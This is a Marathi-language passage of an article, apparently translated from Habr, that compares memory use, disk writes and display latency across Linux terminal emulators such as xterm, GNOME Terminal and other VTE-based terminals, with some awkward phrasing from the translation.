दहा वर्षांपूर्वी प्राप्त झालेल्या मागील निकालांच्या तुलनेत, सर्व प्रोग्राम्सने लक्षणीयरीत्या अधिक मेमरी वापरण्यास सुरुवात केली. Xterm ला 4 MB ची आवश्यकता असायची, पण आता फक्त स्टार्टअपवर 15 MB आवश्यक आहे. rxvt साठी वापरामध्ये अशीच वाढ झाली आहे, ज्यासाठी आता बॉक्सच्या बाहेर 16 MB आवश्यक आहे. Xfce टर्मिनल 34 MB घेते, जे पूर्वीपेक्षा तीन पटीने मोठे आहे, परंतु GNOME टर्मिनलसाठी फक्त 20 MB आवश्यक आहे. अर्थात, मागील सर्व चाचण्या 32-बिट आर्किटेक्चरवर घेण्यात आल्या होत्या. LCA 2012 रस्टी रसेल येथे मी सांगितले, की आणखी बरीच सूक्ष्म कारणे आहेत जी मेमरी वापरात वाढ स्पष्ट करू शकतात. असे म्हटल्यावर, आम्ही आता अशा काळात राहतो जिथे आमच्याकडे गीगाबाइट मेमरी आहे, म्हणून आम्ही कसे तरी व्यवस्थापित करू.

तथापि, मी मदत करू शकत नाही परंतु असे वाटते की टर्मिनलसारख्या मूलभूत गोष्टीसाठी अधिक मेमरी वाटप करणे संसाधनांचा अपव्यय आहे. हे प्रोग्राम्स सर्वात लहान असले पाहिजेत, कोणत्याही “बॉक्स” वर चालण्यास सक्षम असले पाहिजेत, अगदी शूबॉक्स देखील, जर आपण कधीही अशा टप्प्यावर आलो की त्यांना लिनक्स सिस्टमसह सुसज्ज करणे आवश्यक आहे (आणि तुम्हाला माहित आहे की ते तसे होईल. ) . परंतु या संख्यांसह, काही हलक्या आणि मर्यादित क्षमतेच्या व्यतिरिक्त अनेक टर्मिनल चालवणाऱ्या कोणत्याही वातावरणात मेमरी वापर भविष्यात एक समस्या बनेल. याची भरपाई करण्यासाठी, GNOME टर्मिनल, कॉन्सोल, urxvt, टर्मिनेटर आणि Xfce टर्मिनलमध्ये एक डिमन मोड आहे जो तुम्हाला एकाच प्रक्रियेद्वारे एकाधिक टर्मिनल्स नियंत्रित करण्यास अनुमती देतो, त्यांच्या मेमरी वापर मर्यादित करतो.

माझ्या चाचण्यांदरम्यान, मी डिस्क रीड-राईट संदर्भात आणखी एक अनपेक्षित परिणाम प्राप्त केला: मला येथे काहीही दिसणार नाही, परंतु असे दिसून आले की काही टर्मिनल डिस्कवर सर्वात जास्त डेटा लिहितात. तर, VTE लायब्ररी प्रत्यक्षात डिस्कवर स्क्रोल बफर ठेवते (हे वैशिष्ट्य 2010 मध्ये लक्षात आले, आणि हे अजूनही घडत आहे). परंतु जुन्या अंमलबजावणीच्या विपरीत, आता किमान हा डेटा AES256 GCM वापरून एनक्रिप्ट केलेला आहे (आवृत्ती 0.39.2 पासून). परंतु एक वाजवी प्रश्न उद्भवतो: व्हीटीई लायब्ररीमध्ये इतके विशेष काय आहे की त्यास अंमलबजावणीसाठी अ-मानक दृष्टिकोन आवश्यक आहे...

निष्कर्ष

लेखाच्या पहिल्या भागात, आम्हाला आढळले की VTE-आधारित टर्मिनल्समध्ये वैशिष्ट्यांचा चांगला संच आहे, परंतु आता आम्ही पाहतो की हे काही कार्यप्रदर्शन खर्चासह येते. आता मेमरी ही समस्या नाही कारण सर्व VTE टर्मिनल्स डिमन प्रक्रियेद्वारे नियंत्रित केले जाऊ शकतात, ज्यामुळे त्यांची भूक मर्यादित होते. तथापि, RAM आणि कर्नल बफरच्या प्रमाणात भौतिक मर्यादा असलेल्या जुन्या प्रणालींना टर्मिनल्सच्या पूर्वीच्या आवृत्त्यांची आवश्यकता असू शकते, कारण ते लक्षणीयरीत्या कमी संसाधने वापरतात. जरी VTE टर्मिनल्सने थ्रुपुट (स्क्रोलिंग) चाचण्यांमध्ये चांगली कामगिरी केली असली तरी, त्यांची डिस्प्ले लेटन्सी GNOME वापरकर्ता मार्गदर्शकामध्ये सेट केलेल्या थ्रेशोल्डच्या वर आहे. VTE विकासकांनी हे लक्षात घेतले पाहिजे. नवशिक्या लिनक्स वापरकर्त्यांसाठी टर्मिनलचा सामना करणे अपरिहार्य आहे हे जर आपण लक्षात घेतले तर ते ते अधिक वापरकर्ता अनुकूल बनवू शकतात. अनुभवी गीक्ससाठी, डीफॉल्ट टर्मिनलवरून स्विच करणे म्हणजे डोळ्यांचा कमी ताण आणि दीर्घ कार्य सत्रांमुळे भविष्यातील कामाशी संबंधित जखम आणि आजार टाळण्याची क्षमता देखील असू शकते. दुर्दैवाने, फक्त जुने xterm आणि mlterm आम्हाला 10 मिलीसेकंदच्या जादूच्या पिंग थ्रेशोल्डवर आणतात, जे अनेकांसाठी अस्वीकार्य आहे.

बेंचमार्क मोजमापांनी असेही दाखवले की लिनक्स ग्राफिकल वातावरणाच्या विकासामुळे, विकसकांना अनेक तडजोडी कराव्या लागल्या. काही वापरकर्ते नियमित विंडो व्यवस्थापकांकडे पाहू इच्छितात कारण ते लक्षणीय पिंग कपात देतात. दुर्दैवाने, Wayland साठी लेटन्सी मोजणे शक्य नव्हते: मी वापरलेला Typometer प्रोग्राम Wayland कशासाठी तयार केला गेला आहे ते टाळण्यासाठी तयार केले गेले: इतर विंडोवरील हेरगिरी. मला आशा आहे की Wayland कंपोझिटिंग X.org पेक्षा चांगली कामगिरी करेल आणि मला आशा आहे की भविष्यात कोणीतरी या वातावरणात विलंब मोजण्याचा मार्ग शोधेल.

स्त्रोत: www.habr.com